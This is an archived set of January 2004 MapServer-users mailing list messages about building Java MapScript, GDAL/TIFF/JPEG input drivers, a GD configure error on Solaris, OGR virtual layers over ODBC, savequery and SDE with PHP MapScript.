> ======================================
> 
> 
> [bjh at localhost java]$ make
> /usr/local/swig/bin/swig -java -shadow -package edu.umn.gis.mapscript 
> mapscript.i
> Deprecated command line option: -shadow. Proxy classes are now generated 
> by default.
> gcc -fpic -c -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF -DUSE_JPEG 
> -DUSE_GD_TTF -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP 
> -DGD_HAS_GDIMAGEGIFPTR -I/usr/java/j2sdk1.4.2_03/include 
> -I/usr/java/j2sdk1.4.2_03/include/linux mapscript_wrap.c
> g++ -fpic -shared mapscript_wrap.o -o libmapscript.so -L/usr/local/lib 
> -L../.. -lmap -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lpng -lz -ljpeg 
> -lm
> /usr/java/j2sdk1.4.2_03/bin/javac -d . *.java
> outputFormatObj.java:134: setExtension(java.lang.String) is already 
> defined in edu.umn.gis.mapscript.outputFormatObj
>  public void setExtension(String extension) {

Comment this method out..

>              ^
> outputFormatObj.java:138: setMimetype(java.lang.String) is already 
> defined in edu.umn.gis.mapscript.outputFormatObj
>  public void setMimetype(String mimetype) {

Comment this method out...

>              ^
> mapObj.java:307: clone() in edu.umn.gis.mapscript.mapObj cannot override 
> clone() in java.lang.Object; attempting to use incompatible return type
> found   : edu.umn.gis.mapscript.mapObj
> required: java.lang.Object
>  public mapObj clone() {

Change mapObj to Object.

>                ^
> 3 errors
> make: *** [mapscript_java] Error 1
> 
> =====================================================
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 



From bjh at globexplorer.com  Thu Jan 22 14:56:05 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 22 Jan 2004 14:56:05 -0800
Subject: [Mapserver-users] Problem building the Java Mapscript module
Message-ID: <40105505.1060504@globexplorer.com>

Hi,
I've recently read a message about this problem and I tried to
fix the problem with the paches as indicated
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware)
The problem is still there.

Any hint/tip will be greatly apreciated.

Thanks,
Jean Berevoescu


Here is the output from the build:
======================================


[bjh at localhost java]$ make
/usr/local/swig/bin/swig -java -shadow -package edu.umn.gis.mapscript 
mapscript.i
Deprecated command line option: -shadow. Proxy classes are now generated 
by default.
gcc -fpic -c -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF -DUSE_JPEG 
-DUSE_GD_TTF -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP 
-DGD_HAS_GDIMAGEGIFPTR -I/usr/java/j2sdk1.4.2_03/include 
-I/usr/java/j2sdk1.4.2_03/include/linux mapscript_wrap.c
g++ -fpic -shared mapscript_wrap.o -o libmapscript.so -L/usr/local/lib 
-L../.. -lmap -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lpng -lz -ljpeg -lm
/usr/java/j2sdk1.4.2_03/bin/javac -d . *.java
outputFormatObj.java:134: setExtension(java.lang.String) is already 
defined in edu.umn.gis.mapscript.outputFormatObj
 public void setExtension(String extension) {
             ^
outputFormatObj.java:138: setMimetype(java.lang.String) is already 
defined in edu.umn.gis.mapscript.outputFormatObj
 public void setMimetype(String mimetype) {
             ^
mapObj.java:307: clone() in edu.umn.gis.mapscript.mapObj cannot override 
clone() in java.lang.Object; attempting to use incompatible return type
found   : edu.umn.gis.mapscript.mapObj
required: java.lang.Object
 public mapObj clone() {
               ^
3 errors
make: *** [mapscript_java] Error 1

=====================================================




From nacional at cbs.umn.edu  Thu Jan 22 15:23:15 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Thu, 22 Jan 2004 17:23:15 -0600
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203B175@mercator.topozone.com>
References: <13858AA1A74F30419F319ACB66A9D12203B175@mercator.topozone.com>
Message-ID: <1074813795.28031.169.camel@localhost>

Thanks, Ed!

I guess I could be clearer but that's exactly why I brought this up. 
The many and sometimes redundant options in MapServer do get people
confused.  I don't know how many users configure GDAL without TIFF and
JPEG support--I would guess that most people leave them in.

-Perry N.

On Thu, 2004-01-22 at 15:31, Ed McNierney wrote:
> The chief problem is user confusion; there are many options and it can
> be easy for the user to not understand what driver is reading the data.
> It is certainly possible to build GDAL *without* support for TIFF and
> JPEG images, so the report "INPUT=TIFF, INPUT=JPEG, INPUT=GDAL" doesn't
> necessarily mean redundant drivers - but it probably does !
> 
> I believe there have been discussions about removing the "native" TIFF
> support (at least) in favor of GDAL, since there is little advantage to
> it and there are many new "TIFF" options that are really new features
> only supported by GDAL.
> 
> MapServer doesn't get "confused" - the user does .  But that's
> something we should strive to avoid.
> 
> 	- Ed (very minor MapServer attendant deity)
> 
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com
> -----Original Message-----
> From: Pericles S. Nacionales [mailto:nacional at cbs.umn.edu] 
> Sent: Thursday, January 22, 2004 3:49 PM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
> 
> Dear MapServer gods,
> 
> I'm seeing a lot of folks send the output of "mapserv -v" like this:
> 
> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
> INPUT=TIFF INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
> 
> At first glance it all looks good.  But then look at  INPUT=TIFF,
> INPUT=JPEG, INPUT=GDAL.  Isn't compiling GDAL, TIFF and JPEG together as
> input libraries not a good idea?  Or is this no longer an issue?  I ask
> because I'm seeing a lot of this and am wondering if we should include
> something like this in the MapServer FAQ:
> 
> If you compile GDAL support make sure to disable TIFF and JPEG input
> support.  
> This can be accomplished by adding "--without-tiff --without-jpeg"  
> parameters when running "configure".  Alternatively, you can remove
> "-DUSE_TIFF" and "-DUSE_JPEG" in your Makefile (or Makefile.vc) before
> running make (or nmake).
> 
> What exactly are the problems that come up when TIFF and JPEG libs are
> compiled together with GDAL?  I know MapServer gets confused when
> reading TIFF/GeoTIFF images.  Are there others?
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
Pericles S. Nacionales 
University of Minnesota



From morissette at dmsolutions.ca  Thu Jan 22 15:24:04 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 22 Jan 2004 18:24:04 -0500
Subject: [Mapserver-users] Configure Error
In-Reply-To: <401049FD.4080401@supanet.com>
References: <401049FD.4080401@supanet.com>
Message-ID: <40105B94.6010503@dmsolutions.ca>

Keith Campbell wrote:
> 
> I'm sure this is basic stuff to most of you. i'm trying to install 
> MapServer on Solaris. When running the configure, i get the following:-
> 'configure: error: Could not find gd.h or libgd.a/libgd.so in 
> /export/home/local/
> util/gd-2.0.15. Make sure GD 2.0.12 or higher is compiled before calling 
> configure.'
> I've not been responsible for the GD install, but I'm assuming that 
> because neither libgd.a nor libgd.so is in the 
> /export/home/local/util/gd-2.0.15 directory that GD has not been 
> compiled. Am I right? How can I tell if it is? There's loads of other 
> files in the directory, but presumably the presence of one in particualr 
> will tell me if GD has been compiled.
> 

Is there any reason why you could not (or did not) do a 'make install' 
in your GD directory to install the GD files in /usr/local/lib?

If you can do that, then that's the best option: run 'make install' in 
the GD directory, then use --with-gd=/usr/local when you configure 
MapServer. Note that the same applies to all MapServer's support libraries.

-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From zak-ms at hoppsan.org  Thu Jan 22 15:48:30 2004
From: zak-ms at hoppsan.org (Zak James)
Date: Thu, 22 Jan 2004 18:48:30 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <3BCB64E6682DD24FB29B7135263B0C6C2006@vamerrifms01.gsm1900.org>
References: <3BCB64E6682DD24FB29B7135263B0C6C2006@vamerrifms01.gsm1900.org>
Message-ID: <7B976F86-4D35-11D8-AFDE-000393D97CCC@hoppsan.org>

Heryk,

If the connection is ok, as ogrinfo seems to suggest, I think the  
likely error is in the format of the SrcLayer entry. Your ogrinfo  
output is just the table name. If you enter

ogrinfo file.ovf tablename

you should get the table contents and you can see whether the geometry  
fields are coming through as you have specified them.

One other possibility is that the environment variables set in your  
shell and available to ogrinfo are not available to the mapserver cgi.  
I saw this problem in connecting to an oracle database on a linux  
system. I'm not sure if this applies to IIS but it's relevant for  
apache.

zak
--
Zak James
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca


On Jan 22, 2004, at 5:46 PM, Arthur, John wrote:

> I just wanted you all to know that H?ryk is not alone.  I too, am  
> having the
> exact same issue.  Works fine with ogrinfo, but not with MapServer.  I  
> only
> have one version of gdal11.dll, so there should be no issues there.
>
> Could the problem be that the precompiled version that DM provides, was
> compiled against a different version of gdal than what is provided by  
> the
> OpenEV_FW_163.zip?  Because the gdal11.dll contained in mapserver zip  
> is
> different that the version in the OpenEV_FW_163.zip.
>
> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Sent: Thursday, January 22, 2004 4:59 PM
> To: 'spencer at dmsolutions.ca'
> Cc: 'Normand Savard'; 'Frank Warmerdam';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
> Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
>
>
> Hi,
> Yes the ovf file works with ogrinfo.
> Martin checked the gdal11.dll and that does not seem to be the problem.
>
>
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
>
>
> As suggested, I'll "return to my mapfile"!
>
> I now have a new understanding of one of the Virtual Spatial Data
> prerequisites: "that you are not afraid to figure things out"!!
>
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData)
>
> :-/
>
> H?ryk
>
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Thursday, January 22, 2004 3:09 PM
> ? : Julien, Heryk
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
>
>
> Does the ovf file work with ogrinfo?  That is the first place to start
> because it will give you more detailed debugging information.  Once  
> that
> works, then you should return to the map file.  Until you can get the
> ovf file to work with ogrinfo, you are not going to get useful  
> debugging
> information because MapServer will continue to tell you that it can't
> draw the layer with misleading information.
>
> BTW, one other thing to check .. gdal11.dll may appear in multiple
> places in your system and you may not be using the one you think you
> are.  Search your system for this file and make sure they are all the
> same, or that you are certain that mapserver is using the right one.
>
> Cheers,
>
> Paul
>
> Julien, Heryk wrote:
>
>> Hi Norm,
>> That was a cut and paste error in my email.
>> The virtual file is okay: mgwi.ovf
>>
>> I tried the mapfile LABELITEM suggestion:" may need to use table.name  
>> or
>> just name depending on your OVF file".
>>
>> I also tried a relative and absolute CONNECTION in the mapfile.
>>
>> I keep on getting the following message:
>> msDrawMap(): Image handling error. Failed to draw layer named
> 'MGWI_TBLLOC'.
>>
>> msOGRFileOpen(): OGR error. Open failed for OGR connection
>> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'.  
>> File
> not
>> found or unsupported format.
>>
>>
>> H?ryk
>>
>>
>>
>> -----Message d'origine-----
>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>> Envoy? : Thursday, January 22, 2004 1:48 PM
>> ? : Julien, Heryk
>> Cc : 'spencer at dmsolutions.ca'; 'Frank Warmerdam';
>> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
>> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>> Connectiontype)
>>
>>
>> Julien,
>>
>> What is the exact name of your "ovf" file?  Because the name you
>> specified in the "CONNECTION" parameter in the map file does not match
>> the one given for you "ovf" file.
>>
>> See in your email below:  "Here is my virtual file (mgw.ovf):"
>>
>> See your "CONNECTION" parameter into your map file for your specific
>> virtual layer:
>>
>> ...
>> CONNECTIONTYPE OGR
>> CONNECTION "mgwi.ovf"
>>
>> ...
>>
>> Norm
>>
>>
>> Julien, Heryk wrote:
>>
>>
>>> Hi to all,
>>>
>>> I replaced my version of Mapserver with a precompiled one. I also
> installed
>>> the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>>>
>>> As suggested by Frank Warmerdam I used the following SrcDataSource  
>>> tag in
>>> the virtual file:
>>> ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER  
>>> is the
>>> DSN for my ODBC data source.
>>>
>>> Here is the orginfo output:
>>>
>>> D:\WebScripts\MapServer>ogrinfo --formats
>>> Loaded OGR Format Drivers:
>>> -> "ESRI Shapefile" (read/write)
>>> -> "UK .NTF" (readonly)
>>> -> "SDTS" (readonly)
>>> -> "TIGER" (read/write)
>>> -> "S57" (read/write)
>>> -> "MapInfo File" (read/write)
>>> -> "DGN" (read/write)
>>> -> "VRT" (readonly)
>>> -> "AVCBin" (readonly)
>>> -> "REC" (readonly)
>>> -> "Memory" (read/write)
>>> -> "GML" (read/write)
>>> -> "ODBC" (read/write)
>>> -> "OGDI" (readonly)
>>> -> "FMEObjects Gateway" (readonly)
>>>
>>> D:\WebScripts\MapServer>ogrinfo
>>> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>> ERROR 4: Update access not supported for VRT datasources.
>>> Had to open data source read-only.
>>> INFO: Open of
>>> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>> using driver `VRT' successful.
>>> 1: MGWI_TBLLOC (Point)
>>>
>>> When I execute Mapserver I got the following message:
>>> msDrawMap(): Image handling error. Failed to draw layer named
>>
>> 'MGWI_TBLLOC'.
>>
>>> msOGRFileOpen(): OGR error. Open failed for OGR connection  
>>> `mgwi.ovf'.
> File
>>> not found or unsupported format.
>>>
>>>
>>>
>>> Thanks for the help
>>>
>>> H?ryk
>>>
>>>
>>>
>>> -----Message d'origine-----
>>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>>> Envoy? : Wednesday, January 21, 2004 5:26 PM
>>> ? : Julien, Heryk
>>> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>> Anctil, Martin
>>> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>>> Connectiontype)
>>>
>>>
>>> Julien,
>>>
>>> Just because I do not know all the steps you have done, can you tell  
>>> me
>>> if you were able to have some output form "ogrinfo" command?
>>>
>>> Norm
>>>
>>> Julien, Heryk wrote:
>>>
>>>
>>>
>>>
>>>> Hi Paul,
>>>> What do I write in the virtual file SrcDataSource tag when I log on  
>>>> a
>>>>
>>>>
>>>
>>> Access
>>>
>>>
>>>
>>>> db with no user restrictions and pass word?
>>>> I've tried the following combinations without success:
>>>>
>>>> ODBC:MGWI_MAPSERVER
>>>> ODBC:@MGWI_MAPSERVER
>>>> ODBC:/@MGWI_MAPSERVER
>>>> ODBC:administor/@MGWI_MAPSERVER
>>>> ODBC:administeur/@MGWI_MAPSERVER
>>>>
>>>> Thanks
>>>> H?ryk
>>>>
>>>>
>>>> -----Message d'origine-----
>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>> Envoy? : Wednesday, January 21, 2004 1:43 PM
>>>> ? : Julien, Heryk
>>>> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>>> Anctil, Martin
>>>> Objet : [Mapserver-users] Re: VirtualSpatialData (OGR  
>>>> Connectiontype)
>>>>
>>>>
>>>> I believe there is a limitation in the OGR OBDC connection that  
>>>> requires
>>>> that you provide a user name and password in the OVF file (I think  
>>>> that
>>>> is mentioned in the wiki also).
>>>>
>>>> Cheers,
>>>>
>>>> Paul
>>>>
>>>> Julien, Heryk wrote:
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> Hi,
>>>>> I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>>> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData)  
>>>>> with
>>
>> IIS
>>
>>>>> and an Access 2000 ODBC connection.
>>>>>
>>>>> I keep on getting the following error message when I attempt ton  
>>>>> see my
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> map:
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> msDrawMap(): Image handling error. Failed to draw layer named
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> 'MGWI_TBLLOC'.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> msOGRFileOpen(): OGR error. Open failed for OGR connection  
>>>>> `mgwi.ovf'.
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> File
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> not found or unsupported format.
>>>>>
>>>>> Anyone can help me?
>>>>>
>>>>>
>>>>>
>>>>> Here is my virtual file (mgw.ovf):
>>>>>
>>>>> 
>>>>>  
>>>>>      ODBC:MGWI_MAPSERVER
>>>>> 	tblloc
>>>>> 	wkbPoint
>>>>> 	
>>>>> 	
>>>>>  
>>>>> 
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> My virtual layer is in the same directory as my shapefiles:
>>>>>
>>>>> SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> Here is the section of my mapfile where I call my virtual layer:
>>>>>
>>>>> LAYER
>>>>> 	NAME "MGWI_TBLLOC"
>>>>> 	TYPE POINT
>>>>> 	CONNECTIONTYPE OGR
>>>>> 	CONNECTION "mgwi.ovf"
>>>>> 	DATA "MGWI_TBLLOC"
>>>>> 	STATUS DEFAULT
>>>>> 	LABELITEM "LOCID"
>>>>> 	PROJECTION
>>>>> 		"init=epsg:26920"
>>>>> 	END #projection
>>>>> 	CLASS
>>>>> 		SYMBOL 'circle'
>>>>> 		SIZE 8
>>>>> 		LABEL
>>>>> 			COLOR 132 31 31
>>>>> 			SHADOWCOLOR 218 218 218
>>>>> 			SHADOWSIZE 2 2
>>>>> 			TYPE TRUETYPE
>>>>> 			FONT arial-bold
>>>>> 			FORCE true
>>>>> 			SIZE 10
>>>>> 			POSITION auto
>>>>> 			PARTIALS FALSE
>>>>> 			MINDISTANCE 0
>>>>> 			BUFFER 2
>>>>> 		END # end of label
>>>>> 	    TEMPLATE
>>>>> "d: 
>>>>> \webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.h 
>>>>> tm
> l
>>
>> "
>>
>>>>> 	END # CLASS
>>>>> END # LAYER
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> ==========================================
>>>>> H?ryk
>>>>> NRCan
>>>>>
>>>>> -----Message d'origine-----
>>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>> Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>>> ? : 'spencer at dmsolutions.ca'
>>>>> Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>> Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>> Thanks
>>>>>
>>>>> H?ryk
>>>>>
>>>>> -----Message d'origine-----
>>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>> Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>>> ? : Julien, Heryk
>>>>> Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>>> Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>> Maybe you missed it?
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/ 
>>>> msg00111.ht
> m
>>
>> l
>>
>>>>
>>>>
>>>>
>>>>
>>>>> Cheers,
>>>>>
>>>>> Paul
>>>>>
>>>>> Julien, Heryk wrote:
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>> Hi Paul,
>>>>>> Could you send me or post information on the "new format in
>>>>>> OGR to set up a virtual layer that can draw columns from any ODBC  
>>>>>> data
>>>>>> source and map two of the columns to x and y locations"?
>>>>>>
>>>>>> Thanks
>>>>>> H?ryk
>>>>>>
>>>>>> -----Message d'origine-----
>>>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>>> Envoy? : Monday, January 05, 2004 9:23 AM
>>>>>> ? : 'spencer at dmsolutions.ca'
>>>>>> Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>>> Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>>>
>>>>>>
>>>>>> Hi,
>>>>>> I am also very interseted in that fonction. I would like to be  
>>>>>> able to
>>>>>>
>>>>>>
>>>
>>> map
>>>
>>>
>>>
>>>>>> well positions from a database x and y colums. Would this permit  
>>>>>> me to
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>
>>>>> have
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>> an up to date point geometry layer which reflects the changes in  
>>>>>> my
> well
>>>>>> database? Can you send me more details?
>>>>>>
>>>>>> Thanks
>>>>>>
>>>>>> H?ryk
>>>>>> NRCan
>>>>>>
>>>>>> -----Message d'origine-----
>>>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>>> Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>>> ? : bartvde at xs4all.nl
>>>>>> Cc : mapserver-users at lists.gis.umn.edu
>>>>>> Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>>>
>>>>>>
>>>>>> Bart,
>>>>>>
>>>>>> if you are interested in point geometries only, there is a new  
>>>>>> format
> in
>>
>>
>>>>>> OGR to set up a virtual layer that can draw columns from any ODBC  
>>>>>> data
>>>>>> source and map two of the columns to x and y locations.  We've  
>>>>>> used it
>>>>>> for a couple of clients and it works very nicely.  If you are
> interested
>>
>>
>>>>>> I can send you more details.
>>>>>>
>>>>>> Cheers,
>>>>>>
>>>>>> Paul
>>>>>>
>>>>>> Bart van den Eijnden wrote:
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>> Hi list,
>>>>>>>
>>>>>>> I see in the history log that there has been some work done  
>>>>>>> recently
>>>>>>> (early December) by Attila on supporting MySQL 4.X for the MyGIS
>>>>>>> connector. Can it be used already?
>>>>>>>
>>>>>>> Also, is it possible to keep the geometries in shapefiles and use
>>>>>>> Mapserver JOINS to link to tables in MySQL?
>>>>>>>
>>>>>>> Thanks in advance for the info.
>>>>>>>
>>>>>>> Best regards,
>>>>>>> Bart
>>>>>>> _______________________________________________
>>>>>>> Mapserver-users mailing list
>>>>>>> Mapserver-users at lists.gis.umn.edu
>>>>>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>
>>>>
>>>>
>>>>
>>>
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list
>>> Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list
>>> Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>>
>>>
>>
>>
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>
> -- 
>   -----------------------------------------------------------------
> |Paul Spencer                           spencer at dmsolutions.ca    |
> |-----------------------------------------------------------------|
> |Applications & Software Development                              |
> |DM Solutions Group Inc                 http://www.dmsolutions.ca/|
>   -----------------------------------------------------------------
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>




From rich at greenwoodmap.com  Thu Jan 22 16:25:17 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Thu, 22 Jan 2004 17:25:17 -0700
Subject: [Mapserver-users] savequery
In-Reply-To: 
References: 
Message-ID: <401069ED.8030700@greenwoodmap.com>

Richie Pierce wrote:

> Thanks for the reply.   I added  value="[queryfile]"> to my template html and it works for the first
> zoom.  But if I try and zoom more than once it gives me this error.
> 
> msLoadQuery(): Unable to access file.
> (C:\tmp\ms_tmp\DEMO10747979451748.qy)
> 
> There isn't a .qy file of that name. Any ideas?

Is C:\tmp\ms_tmp\ the directory where your images are being written? The 
.qy file should be getting written into the same directory as the images.

First, check that .qy file is written to that directory when 
savequery=true. If not, then I would guess there permission or path 
problems.

Second, if the .qy file is being created, check that it is getting 
passed to your page. One easy way is to temporarily change >I have changed the CGI demo a little and created a simple map.  I have
> 
> a 
> 
>>search box and pass the qlayer, qitem, qstring to mapserver CGI to 
>>return a querymap.  Once the map is zoomed and the feature is 
>>highlighted how do I keep the feature highlighted even when I zoom or 
>>pan, or even turn on other layers for that matter.  I am passing 
>>savequery=true as a hidden var in my form but if I zoom out or refresh
> 
> 
>>the map the selection goes away.  
> 
> 
> When savequery is true, Mapserver will save the query to a file and pass
> 
> the saved file name back in: [queryfile]. Then you need to pass that 
> file name back to Mapserver as queryfile=(whatever_query_filname_was). 
> You may need to use some javascript to give the user some control.
> 


-- 
Richard Greenwood
www.greenwoodmap.com


From bjh at globexplorer.com  Thu Jan 22 16:37:22 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 22 Jan 2004 16:37:22 -0800
Subject: [Mapserver-users] Problem building the Java Mapscript module
In-Reply-To: <401053D5.2030606@lmco.com>
References: <40104EDA.50208@globexplorer.com> <401053D5.2030606@lmco.com>
Message-ID: <40106CC2.8090108@globexplorer.com>

Jim Buzbee wrote:

>
>
> Jean-Henry Berevoescu wrote:
>
>>
>> Hi,
>> I recently saw a message about this problem and I tried to
>> fix the problem with the paches as indicated
>> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware) 
>>
>> The problem is still there.
>>
>> Any hint/tip will be greatly apreciated.
>
>
> Comments below, (from memory, may not be completely accurate ) 
> Basically you just need to fix the errors and rebuild that portion...


OK. I did just that. With the first two errors it is pretty 
straightforward, since they are definitely duplicates. But the "clone" 
thing - I don't know. It might affect something else?
Anyway I compiled and will try to use it in a little test.

Thanks a lot,
Jean



From Robin.Ellis at nrm.qld.gov.au  Thu Jan 22 22:39:52 2004
From: Robin.Ellis at nrm.qld.gov.au (Ellis Robin Bundaberg)
Date: Fri, 23 Jan 2004 16:39:52 +1000
Subject: [Mapserver-users] PHP Mapscript and SDE on Solaris
Message-ID: 

Hi List,
	I'm trying to get SDE 8.2 compiled into Mapserver 3.6.3 on Solaris with Apache and PHP 4.2.0, with some limited success. After compiling and making Mapserver with the "--with-sde" commands I get a Mapserver executable that runs OK when accessed directly via CGI. Here's the Version Info output of that executable:

 MapServer version 3.6.3 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=SDE INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

However when I try to access the php_mapscript.so I get this error message:

Warning: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20010901/php_mapscript.so' - ld.so.1: php: fatal: relocation error: file /usr/local/lib/php/extensions/no-debug-non-zts-20010901/php_mapscript.so: symbol SE_shape_get_num_parts: referenced symbol not found in /data/data4/WWW/projects/phpinfo_mapscript.phtml on line 21

I don't have SDE installed on this server, I have just copied what i think is a complete set of SDE Client Libraries from another server. These are all in a directory accessible to the 'web user', and I have included their location in the Apache httpd.conf. PHP has been compiled with the "-export-dynamic" option, so I don't think this is my problem. PHP is also able to access libpdf.so through this same process, so I think PHP is OK.

Does anybody have any ideas on what I may have done wrong in my configuration? Could I be missing some SDE Client Libraries or perhaps not building these into Mapserver properly? Do I need to install SDE to ensure that all libraries are available? My Mapserver Makefile looks like this at the relevant SDE section:

# ESRI SDE Support. You MUST have the SDE Client libraries and include files
# on your system someplace. The actual SDE server you wish to connect to can
# be elsewhere.
SDE=	  -DUSE_SDE
SDE_LIB=  -L/usr/local/lib/sde82 -lsde82 -lpe82 -lsg82 -lpthread -lsocket -ldl -lrt
SDE_INC=  -I/usr/local/lib/sde82

When I run a 'ldd -d' on my php_mapscript.so I get this output (followed by a lot more errors than I will not include here):

 ldd -d php_mapscript.so
        libpq.so.2 =>    /usr/local/lib/libpq.so.2
        libgdal.1.1.so =>        /usr/local/lib/libgdal.1.1.so
